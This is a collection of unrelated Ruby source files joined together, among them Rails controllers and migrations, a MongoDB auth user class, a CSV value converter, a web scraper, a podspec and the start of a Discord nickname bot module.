#------------------------------------------------------------------------------------------------------------------------------------------------------------#
# TAB NAME | DISPLAY TEXT | PATH | VISIBLE? | ENABLED? #
#------------------------------------------------------------------------------------------------------------------------------------------------------------#
[ :maps_tab , 'Maps' , maps_path , true , true ],
[ :organizations_tab , 'Organizations' , organizations_path , true , true ],
[ :domains_tab , 'Domains' , domains_path , true , true ],
[ :hosts_tab , 'Hosts' , hosts_path , true , true ],
[ :users_tab , 'Users' , users_path , true , true ],
[ :tasks_tab , 'Tasks' , tasks_path , true , true ],
[ :task_runs_tab , 'Task runs' , task_runs_path , true , true ],
#------------------------------------------------------------------------------------------------------------------------------------------------------------#
# TAB NAME | DISPLAY TEXT | PATH | VISIBLE? | ENABLED? #
#------------------------------------------------------------------------------------------------------------------------------------------------------------#
]
end
#-------------
# ACTIONS
#-------------
#
# This is where you hook up actions with tabs. That way tabulous knows
# which tab and subtab to mark active when an action is rendered.
#
# CONTROLLER
# the name of the controller
# ACTION
# the name of the action, or :all_actions
# TAB
# the name of the tab or subtab that is active when this action is rendered
config.actions do
[
#--------------------------------------------------------------------------------#
# CONTROLLER | ACTION | TAB #
#--------------------------------------------------------------------------------#
[ :maps , :all_actions , :maps_tab ],
[ :organizations , :all_actions , :organizations_tab ],
[ :domains , :all_actions , :domains_tab ],
[ :hosts , :all_actions , :hosts_tab ],
[ :users , :all_actions , :users_tab ],
[ :tasks , :all_actions , :tasks_tab ],
[ :task_runs , :all_actions , :task_runs_tab ],
#--------------------------------------------------------------------------------#
# CONTROLLER | ACTION | TAB #
#--------------------------------------------------------------------------------#
]
end
#---------------------
# GENERAL OPTIONS
#---------------------
# By default, you cannot click on the active tab.
config.active_tab_clickable = false
# By default, the subtabs HTML element is not rendered if it is empty.
config.always_render_subtabs = false
# Tabulous expects every controller action to be associated with a tab.
# When an action does not have an associated tab (or subtab), you can
# instruct tabulous how to behave:
#config.when_action_has_no_tab = :raise_error # the default behavior
# config.when_action_has_no_tab = :do_not_render # no tab navigation HTML will be generated
config.when_action_has_no_tab = :render # the tab navigation HTML will be generated,
# but no tab or subtab will be active
#--------------------
# MARKUP OPTIONS
#--------------------
# By default, div elements are used in the tab markup. When html5 is
# true, nav elements are used instead.
config.html5 = false
# This gives you control over what class the <ul> element that wraps the tabs
# will have. Good for interfacing with third-party code like Twitter
# Bootstrap.
# config.tabs_ul_class = "nav nav-pills"
# This gives you control over what class the <ul> element that wraps the subtabs
# will have. Good for interfacing with third-party code.
# config.subtabs_ul_class = "nav"
# Set this to true to have subtabs rendered in markup that Twitter Bootstrap
# understands. If this is set to true, you don't need to call subtabs in
# your layout, just tabs.
# config.bootstrap_style_subtabs = true
#-------------------
# STYLE OPTIONS
#-------------------
# The markup that is generated has the following properties:
#
# Tabs and subtabs that are selected have the class "active".
# Tabs and subtabs that are not selected have the class "inactive".
# Tabs that are disabled have the class "disabled"; otherwise, "enabled".
# Tabs that are not visible do not appear in the markup at all.
#
# These classes are provided to make it easier for you to create your
# own CSS (and JavaScript) for the tabs.
# Some styles will be generated for you to get you off to a good start.
# Scaffolded styles are not meant to be used in production as they
# generate invalid HTML markup. They are merely meant to give you a
# head start or an easy way to prototype quickly. Set this to false if
# you are using Twitter Bootstrap.
#
config.css.scaffolding = false
# Make the active tab re-selectable
config.active_tab_clickable = true
# Bootstrap
config.tabs_ul_class = "nav nav-pills" # or whatever Bootstrap class you want
# You can tweak the colors of the generated CSS.
#
# config.css.background_color = '#ccc'
# config.css.text_color = '#444'
# config.css.active_tab_color = 'white'
# config.css.hover_tab_color = '#ddd'
# config.css.inactive_tab_color = '#aaa'
# config.css.inactive_text_color = '#888'
end
| 48.44086 | 165 | 0.483352 |
267e56a723de9ab7b1d42950e3228a3c390dd41d | 84 | class ApplicationController < ActionController::Base
include SessionsHelper
end
| 12 | 52 | 0.833333 |
01c09f4e470b9be301c3c105ac669eaa70ddc1df | 196 | class CreateJointTable < ActiveRecord::Migration
def change
create_table(:shoes_stores) do |t|
t.belongs_to(:shoe)
t.belongs_to(:store)
t.timestamps()
end
end
end
| 15.076923 | 48 | 0.658163 |
ab65c2bae56040c01ecf472f3c73ef8eaf205fb4 | 3,406 | #####################################################################
# Attempt to check for the deprecated ruby-atomic gem and warn the
# user that they should use the new implementation instead.
if defined?(Atomic)
warn <<-RUBY
[ATOMIC] Detected an `Atomic` class, which may indicate a dependency
on the ruby-atomic gem. That gem has been deprecated and merged into
the concurrent-ruby gem. Please use the Concurrent::Atomic class for
atomic references and not the Atomic class.
RUBY
end
#####################################################################
require 'concurrent/atomic_reference/concurrent_update_error'
require 'concurrent/atomic_reference/mutex_atomic'
begin
# force fallback impl with FORCE_ATOMIC_FALLBACK=1
if /[^0fF]/ =~ ENV['FORCE_ATOMIC_FALLBACK']
ruby_engine = 'mutex_atomic'
else
ruby_engine = defined?(RUBY_ENGINE)? RUBY_ENGINE : 'ruby'
end
require "concurrent/atomic_reference/#{ruby_engine}"
rescue LoadError
#warn 'Compiled extensions not installed, pure Ruby Atomic will be used.'
end
if defined? Concurrent::JavaAtomic
# @!macro [attach] atomic_reference
#
# An object reference that may be updated atomically.
#
# Testing with ruby 2.1.2
#
# *** Sequential updates ***
# user system total real
# no lock 0.000000 0.000000 0.000000 ( 0.005502)
# mutex 0.030000 0.000000 0.030000 ( 0.025158)
# MutexAtomic 0.100000 0.000000 0.100000 ( 0.103096)
# CAtomic 0.040000 0.000000 0.040000 ( 0.034012)
#
# *** Parallel updates ***
# user system total real
# no lock 0.010000 0.000000 0.010000 ( 0.009387)
# mutex 0.030000 0.010000 0.040000 ( 0.032545)
# MutexAtomic 0.830000 2.280000 3.110000 ( 2.146622)
# CAtomic 0.040000 0.000000 0.040000 ( 0.038332)
#
# Testing with jruby 1.9.3
#
# *** Sequential updates ***
# user system total real
# no lock 0.170000 0.000000 0.170000 ( 0.051000)
# mutex 0.370000 0.010000 0.380000 ( 0.121000)
# MutexAtomic 1.530000 0.020000 1.550000 ( 0.471000)
# JavaAtomic 0.370000 0.010000 0.380000 ( 0.112000)
#
# *** Parallel updates ***
# user system total real
# no lock 0.390000 0.000000 0.390000 ( 0.105000)
# mutex 0.480000 0.040000 0.520000 ( 0.145000)
# MutexAtomic 1.600000 0.180000 1.780000 ( 0.511000)
# JavaAtomic 0.460000 0.010000 0.470000 ( 0.131000)
#
# @see http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/AtomicReference.html
# @see http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/atomic/package-summary.html
class Concurrent::Atomic < Concurrent::JavaAtomic
end
elsif defined? Concurrent::RbxAtomic
# @!macro atomic_reference
class Concurrent::Atomic < Concurrent::RbxAtomic
end
elsif Concurrent.allow_c_native_class?('CAtomic')
# @!macro atomic_reference
class Concurrent::Atomic < Concurrent::CAtomic
end
else
# @!macro atomic_reference
class Concurrent::Atomic < Concurrent::MutexAtomic
end
end
| 37.021739 | 100 | 0.592777 |
61bb4bca9bd8d9fac8db2463e8473244631ace4a | 1,047 | class SessionsController < ApplicationController
def new
if session[:user_id]
current_user
redirect_to user_path(@user)
end
end
def create
if session[:user_id]
current_user
redirect_to user_path(@user)
elsif params[:code]
@user = User.find_or_create_by(uid: auth['uid']) do |u|
u.name = auth['info']['name']
u.email = auth['info']['email']
u.image = auth['info']['image']
u.phone_number = "111-111-1111"
u.password = " "
u.password_confirmation = " "
end
session[:user_id] = @user.id
redirect_to user_path(@user)
else
@user = User.find_by(email: params[:user][:email])
if @user && @user.authenticate(params[:user][:password])
session[:user_id] = @user.id
redirect_to user_path(@user)
else
redirect_to signin_path
end
end
end
def destroy
session.delete :user_id
redirect_to root_path
end
private
def auth
request.env['omniauth.auth']
end
end
| 20.94 | 62 | 0.602674 |
1c149028467875307241705355d1bc50ba825b75 | 162 | # frozen_string_literal: true
require_dependency "renalware/snippets"
module Renalware
module Snippets
class SnippetPolicy < BasePolicy
end
end
end
| 14.727273 | 39 | 0.777778 |
ede5a83363f411fe2b15248acf73183ee794c430 | 86 | module MuseumProvenance
# Version number for this gem
VERSION = "0.2.0.alpha"
end
| 17.2 | 31 | 0.732558 |
623a12e24aa7e656992b23fa1aa731b4fd26d329 | 120 | require "kaplan_meier/version"
require "kaplan_meier/survival"
# module KaplanMeier
# # Your code goes here...
# end
| 17.142857 | 31 | 0.741667 |
613420deaaafb43d480f395d3c6e037c17bbb6bb | 1,614 | require 'spec/spec_helper'
class RiddleSpecConnectionProcError < StandardError; end
describe "Sphinx Client" do
before :each do
@client = Riddle::Client.new("localhost", 9313)
end
after :each do
Riddle::Client.connection = nil
end
describe '.connection' do
it "should use the given block" do
Riddle::Client.connection = lambda { |client|
TCPsocket.new(client.server, client.port)
}
@client.query("smith").should be_kind_of(Hash)
end
it "should fail with errors from the given block" do
Riddle::Client.connection = lambda { |client|
raise RiddleSpecConnectionProcError
}
lambda { @client.query("smith") }.
should raise_error(RiddleSpecConnectionProcError)
end
end
describe '#connection' do
it "use the given block" do
@client.connection = lambda { |client|
TCPsocket.new(client.server, client.port)
}
@client.query("smith").should be_kind_of(Hash)
end
it "should fail with errors from the given block" do
@client.connection = lambda { |client|
raise RiddleSpecConnectionProcError
}
lambda { @client.query("smith") }.
should raise_error(RiddleSpecConnectionProcError)
end
it "should prioritise instance over class connection" do
Riddle::Client.connection = lambda { |client|
raise RiddleSpecConnectionProcError
}
@client.connection = lambda { |client|
TCPsocket.new(client.server, client.port)
}
lambda { @client.query("smith") }.should_not raise_error
end
end
end
| 27.355932 | 62 | 0.657993 |
61bac23256f38ef9ec0f11d3bb10518233fbc7d9 | 3,815 | require 'caracal/core/models/namespace_model'
require 'caracal/errors'
module Caracal
module Core
# This module encapsulates all the functionality related to registering and
# retrieving namespaces.
#
module Namespaces
def self.included(base)
base.class_eval do
#-------------------------------------------------------------
# Class Methods
#-------------------------------------------------------------
def self.default_namespaces
[
{ prefix: 'xmlns:mc', href: 'http://schemas.openxmlformats.org/markup-compatibility/2006' },
{ prefix: 'xmlns:o', href: 'urn:schemas-microsoft-com:office:office' },
{ prefix: 'xmlns:r', href: 'http://schemas.openxmlformats.org/officeDocument/2006/relationships' },
{ prefix: 'xmlns:m', href: 'http://schemas.openxmlformats.org/officeDocument/2006/math' },
{ prefix: 'xmlns:v', href: 'urn:schemas-microsoft-com:vml' },
{ prefix: 'xmlns:wp', href: 'http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing' },
{ prefix: 'xmlns:wps', href: 'http://schemas.microsoft.com/office/word/2010/wordprocessingShape' },
{ prefix: 'xmlns:w10', href: 'urn:schemas-microsoft-com:office:word' },
{ prefix: 'xmlns:w', href: 'http://schemas.openxmlformats.org/wordprocessingml/2006/main' },
{ prefix: 'xmlns:wne', href: 'http://schemas.microsoft.com/office/word/2006/wordml' },
{ prefix: 'xmlns:sl', href: 'http://schemas.openxmlformats.org/schemaLibrary/2006/main' },
{ prefix: 'xmlns:a', href: 'http://schemas.openxmlformats.org/drawingml/2006/main' },
{ prefix: 'xmlns:pic', href: 'http://schemas.openxmlformats.org/drawingml/2006/picture' },
{ prefix: 'xmlns:c', href: 'http://schemas.openxmlformats.org/drawingml/2006/chart' },
{ prefix: 'xmlns:lc', href: 'http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas' },
{ prefix: 'xmlns:dgm', href: 'http://schemas.openxmlformats.org/drawingml/2006/diagram' }
]
end
#-------------------------------------------------------------
# Public Methods
#-------------------------------------------------------------
#============== ATTRIBUTES ==========================
def namespace(options={}, &block)
model = Caracal::Core::Models::NamespaceModel.new(options, &block)
if model.valid?
ns = register_namespace(model)
else
raise Caracal::Errors::InvalidModelError, 'namespace must specify the :prefix and :href attributes.'
end
ns
end
#============== GETTERS =============================
def namespaces
@namespaces ||= []
end
def find_namespace(prefix)
namespaces.find { |ns| ns.matches?(prefix) }
end
#============== REGISTRATION ========================
def register_namespace(model)
unless ns = find_namespace(model.namespace_prefix)
namespaces << model
ns = model
end
ns
end
def unregister_namespace(prefix)
if ns = find_namespace(prefix)
namespaces.delete(ns)
end
end
end
end
end
end
end
| 41.923077 | 120 | 0.472084 |
d553449c0619e14701d3f14646b6d4313aed6bdb | 226 | module Gws::Addon::Schedule::Todo::CommentPost
extend ActiveSupport::Concern
extend SS::Addon
included do
has_many :comments, class_name: 'Gws::Schedule::TodoComment', dependent: :destroy, validate: false
end
end
| 25.111111 | 102 | 0.747788 |
398e88a1918ce89f2c0625bd71e7c45fe2898f44 | 240 | class Feedback < ActiveRecord::Base
belongs_to :user
belongs_to :post
validates :owner_comment, uniqueness: { scope: [ :user_id, :owner_id ]}
validates :owner_comment, uniqueness: { scope: [ :post_id, :owner_id ]}
end | 24 | 76 | 0.683333 |
0198a2cabb8ba139db3b8adb63cd386ba097161e | 6,971 | # frozen_string_literal: true
# encoding: utf-8
# Copyright (C) 2014-2020 MongoDB Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'mongo/auth/user/view'
module Mongo
module Auth
# Represents a user in MongoDB.
#
# @since 2.0.0
class User
include Loggable
# @return [ String ] The authorization source, either a database or
# external name.
attr_reader :auth_source
# @return [ String ] The database the user is created in.
attr_reader :database
# @return [ Hash ] The authentication mechanism properties.
attr_reader :auth_mech_properties
# @return [ Symbol ] The authorization mechanism.
attr_reader :mechanism
# @return [ String ] The username.
attr_reader :name
# @return [ String ] The cleartext password.
attr_reader :password
# @return [ Array<String> ] roles The user roles.
attr_reader :roles
# Loggable requires an options attribute. We don't have any options
# hence provide this as a stub.
#
# @api private
def options
{}
end
# Determine if this user is equal to another.
#
# @example Check user equality.
# user == other
#
# @param [ Object ] other The object to compare against.
#
# @return [ true, false ] If the objects are equal.
#
# @since 2.0.0
def ==(other)
return false unless other.is_a?(User)
name == other.name && database == other.database && password == other.password
end
# Get an authentication key for the user based on a nonce from the
# server.
#
# @example Get the authentication key.
# user.auth_key(nonce)
#
# @param [ String ] nonce The response from the server.
#
# @return [ String ] The authentication key.
#
# @since 2.0.0
def auth_key(nonce)
Digest::MD5.hexdigest("#{nonce}#{name}#{hashed_password}")
end
# Get the UTF-8 encoded name with escaped special characters for use with
# SCRAM authorization.
#
# @example Get the encoded name.
# user.encoded_name
#
# @return [ String ] The encoded user name.
#
# @since 2.0.0
def encoded_name
name.encode(BSON::UTF8).gsub('=','=3D').gsub(',','=2C')
end
# Get the hash key for the user.
#
# @example Get the hash key.
# user.hash
#
# @return [ String ] The user hash key.
#
# @since 2.0.0
def hash
[ name, database, password ].hash
end
# Get the user's hashed password for SCRAM-SHA-1.
#
# @example Get the user's hashed password.
# user.hashed_password
#
# @return [ String ] The hashed password.
#
# @since 2.0.0
def hashed_password
unless password
raise Error::MissingPassword
end
@hashed_password ||= Digest::MD5.hexdigest("#{name}:mongo:#{password}").encode(BSON::UTF8)
end
# Get the user's stringprepped password for SCRAM-SHA-256.
#
# @api private
def sasl_prepped_password
unless password
raise Error::MissingPassword
end
@sasl_prepped_password ||= StringPrep.prepare(password,
StringPrep::Profiles::SASL::MAPPINGS,
StringPrep::Profiles::SASL::PROHIBITED,
normalize: true, bidi: true).encode(BSON::UTF8)
end
# Create the new user.
#
# @example Create a new user.
# Mongo::Auth::User.new(options)
#
# @param [ Hash ] options The options to create the user from.
#
# @option options [ String ] :auth_source The authorization database or
# external source.
# @option options [ String ] :database The database the user is
# authorized for.
# @option options [ String ] :user The user name.
# @option options [ String ] :password The user's password.
# @option options [ String ] :pwd Legacy option for the user's password.
# If :password and :pwd are both specified, :password takes precedence.
# @option options [ Symbol ] :auth_mech The authorization mechanism.
# @option options [ Array<String>, Array<Hash> ] roles The user roles.
#
# @since 2.0.0
def initialize(options)
@database = options[:database] || Database::ADMIN
@auth_source = options[:auth_source] || self.class.default_auth_source(options)
@name = options[:user]
@password = options[:password] || options[:pwd]
@mechanism = options[:auth_mech]
if @mechanism
# Since the driver must select an authentication class for
# the specified mechanism, mechanisms that the driver does not
# know about, and cannot translate to an authentication class,
# need to be rejected.
unless @mechanism.is_a?(Symbol)
# Although we documented auth_mech option as being a symbol, we
# have not enforced this; warn, reject in lint mode
if Lint.enabled?
raise Error::LintError, "Auth mechanism #{@mechanism.inspect} must be specified as a symbol"
else
log_warn("Auth mechanism #{@mechanism.inspect} should be specified as a symbol")
@mechanism = @mechanism.to_sym
end
end
unless Auth::SOURCES.key?(@mechanism)
raise InvalidMechanism.new(options[:auth_mech])
end
end
@auth_mech_properties = options[:auth_mech_properties] || {}
@roles = options[:roles] || []
end
# Get the specification for the user, used in creation.
#
# @example Get the user's specification.
# user.spec
#
# @return [ Hash ] The user spec.
#
# @since 2.0.0
def spec
{roles: roles}.tap do |spec|
if password
spec[:pwd] = password
end
end
end
private
# Generate default auth source based on the URI and options
#
# @api private
def self.default_auth_source(options)
case options[:auth_mech]
when :aws, :gssapi, :mongodb_x509
'$external'
when :plain
options[:database] || '$external'
else
options[:database] || Database::ADMIN
end
end
end
end
end
| 30.845133 | 106 | 0.599053 |
ed21f8d052af7db52da366646eed8c6e7d90c5aa | 5,167 | #
# Be sure to run `pod spec lint Corridor.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
# ――― Spec Metadata ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# These will help people to find your library, and whilst it
# can feel like a chore to fill in it's definitely to your advantage. The
# summary should be tweet-length, and the description more in depth.
#
s.name = "Corridor"
s.version = "1.0.1"
s.summary = "Corridor lets you easily match URLs and extract their values"
# This description is used to generate tags and improve search results.
# * Think: What does it do? Why did you write it? What is the focus?
# * Try to keep it short, snappy and to the point.
# * Write the description between the DESC delimiters below.
# * Finally, don't worry about the indent, CocoaPods strips it!
s.description = "Spend less time writing custom URL matching and parsing logic. Define any URL format you support using a single string, and let Corridor do the heavy lifting."
s.homepage = "https://github.com/Nextdoor/corridor"
# s.screenshots = "www.example.com/screenshots_1.gif", "www.example.com/screenshots_2.gif"
# ――― Spec License ――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Licensing your code is important. See http://choosealicense.com for more info.
# CocoaPods will detect a license file if there is a named LICENSE*
# Popular ones are 'MIT', 'BSD' and 'Apache License, Version 2.0'.
#
s.license = { :type => "Apache License, Version 2.0", :file => "LICENSE" }
# ――― Author Metadata ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the authors of the library, with email addresses. Email addresses
# of the authors are extracted from the SCM log. E.g. $ git log. CocoaPods also
# accepts just a name if you'd rather not provide an email address.
#
# Specify a social_media_url where others can refer to, for example a twitter
# profile URL.
#
s.author = "jeffcompton"
# Or just: s.author = "jcompton"
# s.authors = { "jcompton" => "[email protected]" }
# s.social_media_url = "http://twitter.com/jcompton"
# ――― Platform Specifics ――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If this Pod runs only on iOS or OS X, then specify the platform and
# the deployment target. You can optionally include the target after the platform.
#
s.platform = :ios, "10.3"
s.swift_version = "5.0"
# When using multiple platforms
# s.ios.deployment_target = "5.0"
# s.osx.deployment_target = "10.7"
# s.watchos.deployment_target = "2.0"
# s.tvos.deployment_target = "9.0"
# ――― Source Location ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Specify the location from where the source should be retrieved.
# Supports git, hg, bzr, svn and HTTP.
#
s.source = { :git => "https://github.com/Nextdoor/corridor.git", :tag => "#{s.version}" }
# ――― Source Code ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# CocoaPods is smart about how it includes source code. For source files
# giving a folder will include any swift, h, m, mm, c & cpp files.
# For header files it will include any header in the folder.
# Not including the public_header_files will make all headers public.
#
s.source_files = "Sources/Corridor/*.{swift}"
#s.exclude_files = "Classes/Exclude"
# s.public_header_files = "Classes/**/*.h"
# ――― Resources ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# A list of resources included with the Pod. These are copied into the
# target bundle with a build phase script. Anything else will be cleaned.
# You can preserve files from being cleaned, please don't preserve
# non-essential files like tests, examples and documentation.
#
# s.resource = "icon.png"
# s.resources = "Resources/*.png"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
# ――― Project Linking ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# Link your library with frameworks, or libraries. Libraries do not include
# the lib prefix of their name.
#
# s.framework = "SomeFramework"
# s.frameworks = "SomeFramework", "AnotherFramework"
# s.library = "iconv"
# s.libraries = "iconv", "xml2"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
#
# If your library depends on compiler flags you can set them in the xcconfig hash
# where they will only apply to your library. If you depend on other Podspecs
# you can include multiple dependencies to ensure it works.
# s.requires_arc = true
# s.xcconfig = { "HEADER_SEARCH_PATHS" => "$(SDKROOT)/usr/include/libxml2" }
# s.dependency "JSONKit", "~> 1.4"
end
| 37.992647 | 179 | 0.604219 |
39c419e9f310563d30320fde7c46724051cad3e9 | 1,375 | class Scraper
attr_accessor :city_array, :article_array
def self.cities_scraper
@city_array = []
doc = Nokogiri::HTML(open("https://www.eater.com/cities-directory"))
cities = doc.css("div.c-directory__short-body")
cities.each do |city|
city_hash = {
:name => city.search("h2").text,
:url => city.search("h2").css("a").attribute("href").value
}
@city_array << city_hash
end
City.create_from_array(@city_array)
City.all
end
def self.article_scraper(city_oi)
@article_array = []
city_doc = Nokogiri::HTML(open(city_oi.url))
articles = city_doc.css("div[class='c-entry-box--compact c-entry-box--compact--article']")
articles.each do |article|
article_hash = {
:title => article.css("div.c-entry-box--compact__body").css("h2").text,
:date_posted => article.css("span.c-byline__item").css("time").text.gsub("\n", "").strip,
:city => city_oi,
:authors => (article.css("span.c-byline__item").css("a").collect {|name| name.css("span.c-byline__author-name").text}).reject { |name| name.to_s.empty? },
:url => article.css("div.c-entry-box--compact__body").css("h2").css("a").attribute("href").value
}
@article_array << article_hash
end
Article.create_from_array(@article_array)
city_oi.add_articles
city_oi
end
end
| 35.25641 | 162 | 0.634182 |
1165b0935539d5a62479172c4c0e632f3781d242 | 3,285 | CONSTRUCTOR_VERSION = '1.0.0'
class Class
def constructor(*attrs)
# Look for embedded options in the listing:
opts = attrs.find { |a| a.kind_of?(Hash) and attrs.delete(a) }
do_acc = opts.nil? ? false : opts[:accessors] == true
require_args = opts.nil? ? true : opts[:strict] != false
super_args = opts.nil? ? nil : opts[:super]
# Incorporate superclass's constructor keys, if our superclass
if superclass.constructor_keys
attrs = [attrs,superclass.constructor_keys].flatten
end
# Generate ivar assigner code lines
assigns = ''
attrs.each do |k|
assigns += "@#{k.to_s} = args[:#{k.to_s}]\n"
end
# If accessors option is on, declare accessors for the attributes:
if do_acc
self.class_eval "attr_accessor " + attrs.map {|x| ":#{x.to_s}"}.join(',')
end
# If user supplied super-constructor hints:
super_call = ''
if super_args
list = super_args.map do |a|
case a
when String
%|"#{a}"|
when Symbol
%|:#{a}|
end
end
super_call = %|super(#{list.join(',')})|
end
# If strict is on, define the constructor argument validator method,
# and setup the initializer to invoke the validator method.
# Otherwise, insert lax code into the initializer.
validation_code = "return if args.nil?"
if require_args
self.class_eval do
def _validate_constructor_args(args)
# First, make sure we've got args of some kind
unless args and args.keys and args.keys.size > 0
raise ConstructorArgumentError.new(self.class.constructor_keys)
end
# Scan for missing keys in the argument hash
a_keys = args.keys
missing = []
self.class.constructor_keys.each do |ck|
unless a_keys.member?(ck)
missing << ck
end
a_keys.delete(ck) # Delete inbound keys as we address them
end
if missing.size > 0 || a_keys.size > 0
raise ConstructorArgumentError.new(missing,a_keys)
end
end
end
# Setup the code to insert into the initializer:
validation_code = "_validate_constructor_args args "
end
# Generate the initializer code
self.class_eval %{
def initialize(args=nil)
#{super_call}
#{validation_code}
#{assigns}
setup if respond_to?(:setup)
end
}
# Remember our constructor keys
@_ctor_keys = attrs
end
# Access the constructor keys for this class
def constructor_keys; @_ctor_keys; end
end
# Fancy validation exception, based on missing and extraneous keys.
class ConstructorArgumentError < RuntimeError
def initialize(missing,rejected=[])
err_msg = ''
if missing.size > 0
err_msg = "Missing constructor args [#{missing.join(',')}]"
end
if rejected.size > 0
# Some inbound keys were not addressed earlier; this means they're unwanted
if err_msg
err_msg << "; " # Appending to earlier message about missing items
else
err_msg = ''
end
# Enumerate the rejected key names
err_msg << "Rejected constructor args [#{rejected.join(',')}]"
end
super err_msg
end
end
| 30.700935 | 81 | 0.618874 |
ab49b81dba89bc8d0bc9446201b63e5ffabbadac | 4,762 |
class CsvReader
class Converter
# A Regexp used to find and convert some common Date formats.
DATE_MATCHER = / \A(?: (\w+,?\s+)?\w+\s+\d{1,2},?\s+\d{2,4}
|
\d{4}-\d{2}-\d{2} )\z
/x
# A Regexp used to find and convert some common DateTime formats.
DATE_TIME_MATCHER = / \A(?: (\w+,?\s+)?\w+\s+\d{1,2}\s+\d{1,2}:\d{1,2}:\d{1,2},?\s+\d{2,4}
|
\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2}
|
# ISO-8601
\d{4}-\d{2}-\d{2}
(?:T\d{2}:\d{2}(?::\d{2}(?:\.\d+)?(?:[+-]\d{2}(?::\d{2})|Z)?)?)?
)\z
/x
CONVERTERS = {
##
## todo/fix: use regex INTEGER_MATCH / FLOAT_MATCH
## to avoid rescue (with exception and stacktrace) for every try!!!
integer: ->(value) { Integer( value ) rescue value },
float: ->(value) { Float( value ) rescue value },
numeric: [:integer, :float],
date: ->(value) {
begin
value.match?( DATE_MATCHER ) ? Date.parse( value ) : value
rescue # date parse errors
value
end
},
date_time: ->(value) {
begin
value.match?( DATE_TIME_MATCHER ) ? DateTime.parse( value ) : value
rescue # encoding conversion or date parse errors
value
end
},
## new - add null and boolean (any others): why? why not?
null: -> (value) {
## turn empty strings into nil
## rename to blank_to_nil or empty_to_nil or add both?
## todo: add NIL, nil too? or #NA, N/A etc. - why? why not?
if value.empty? || ['NULL', 'null', 'N/A', 'n/a', '#NA', '#na' ].include?( value )
nil
else
value
end
},
boolean: -> (value) {
## check yaml for possible true/value values - any missing?
## add more (or less) - why? why not?
if ['TRUE', 'true', 't', 'ON', 'on', 'YES', 'yes'].include?( value )
true
elsif
['FALSE', 'false', 'f', 'OFF', 'off', 'NO', 'no'].include?( value )
false
else
value
end
},
bool: [:boolean], ## bool convenience alias for boolean
all: [:null, :boolean, :date_time, :numeric],
}
HEADER_CONVERTERS = {
downcase: ->(value) { value.downcase },
symbol: ->(value) { value.downcase.gsub( /[^\s\w]+/, "" ).strip.
gsub( /\s+/, "_" ).to_sym
}
}
def self.create_header_converters( converters )
new( converters, HEADER_CONVERTERS )
end
def self.create_converters( converters )
new( converters, CONVERTERS )
end
def initialize( converters, registry=CONVERTERS )
converters = case converters
when nil then []
when Array then converters
else [converters]
end
@converters = []
converters.each do |converter|
if converter.is_a? Proc # custom code block
add_converter( registry, &converter)
else # by name
add_converter( converter, registry )
end
end
end
def to_a() @converters; end ## todo: rename to/use converters attribute name - why? why not?
def empty?() @converters.empty?; end
def convert( value, index_or_header=nil )
return value if value.nil?
@converters.each do |converter|
value = if converter.arity == 1 # straight converter
converter.call( value )
else
## note: for CsvReader pass in the zero-based field/column index (integer)
## for CsvHashReader pass in the header/field/column name (string)
converter.call( value, index_or_header )
end
break unless value.is_a?( String ) # note: short-circuit pipeline for speed
end
value # final state of value, converted or original
end
private
def add_converter( name=nil, registry, &converter )
if name.nil? # custom converter
@converters << converter
else # named converter
combo = registry[name]
case combo
when Array # combo converter
combo.each do |converter_name|
add_converter( converter_name, registry )
end
else # individual named converter
@converters << combo
end
end
end # method add_converter
end # class Converter
end # class CsvReader
| 30.525641 | 98 | 0.49685 |
1c1e05370511820b3f8cf9cae81c9c82b5f82cab | 6,702 | # frozen_string_literal: true
require 'discordrb'
class NicknamerModule
def register_user_commands
nicknamer_commands
end
def nicknamer_commands
@app_class.register_user_cmd(:nicknamer, %w[nicknamer nickname nick]) do |_command, args, event|
language = @language.get_json(event.server.id)['commands']
if event.author.permission? :manage_server
if args.length <= 0
help(event.user, event.channel)
elsif args[0].casecmp('prefix').zero?
prefix_command(args.drop(1), event)
elsif args[0].casecmp('suffix').zero?
suffix_commands(args.drop(1), event)
elsif args[0].casecmp('update').zero?
update_command(args.drop(1), event)
elsif args[0].casecmp('list').zero?
list_command(args.drop(1), event)
elsif args[0].casecmp('info').zero?
info_command(args.drop(1), event)
elsif args[0].casecmp('get').zero?
get_command(args.drop(1), event)
else
event.send_message language['usage']
end
else
event.send_message language['nopermission']
end
end
end
def prefix_command(args, event)
language = @language.get_json(event.server.id)['commands']['prefix']
if args.length < 2
event.send_message language['usage']
return
end
upper = args[0].downcase
unless %w[yes no].include? upper
event.send_message language['invalid']['upper']
return
end
role = args[1]
if event.server.role(role).nil?
event.send_message language['invalid']['role']
return
end
entry = @client[:nicknamer].where(server_id: event.server.id, role: role)
if args.length == 2
unless entry.all.empty?
if upper == 'yes'
if entry.first[:normal_prefix].blank?
entry.delete
else
entry.update(upper_prefix: '')
end
else
if entry.first[:upper_prefix].blank?
entry.delete
else
entry.update(normal_prefix: '')
end
end
end
event.send_message language['remove'][upper]
else
if entry.all.empty?
if upper == 'yes'
@client[:nicknamer].insert(server_id: event.server.id, role: role, upper_prefix: args.drop(2).join(' '))
else
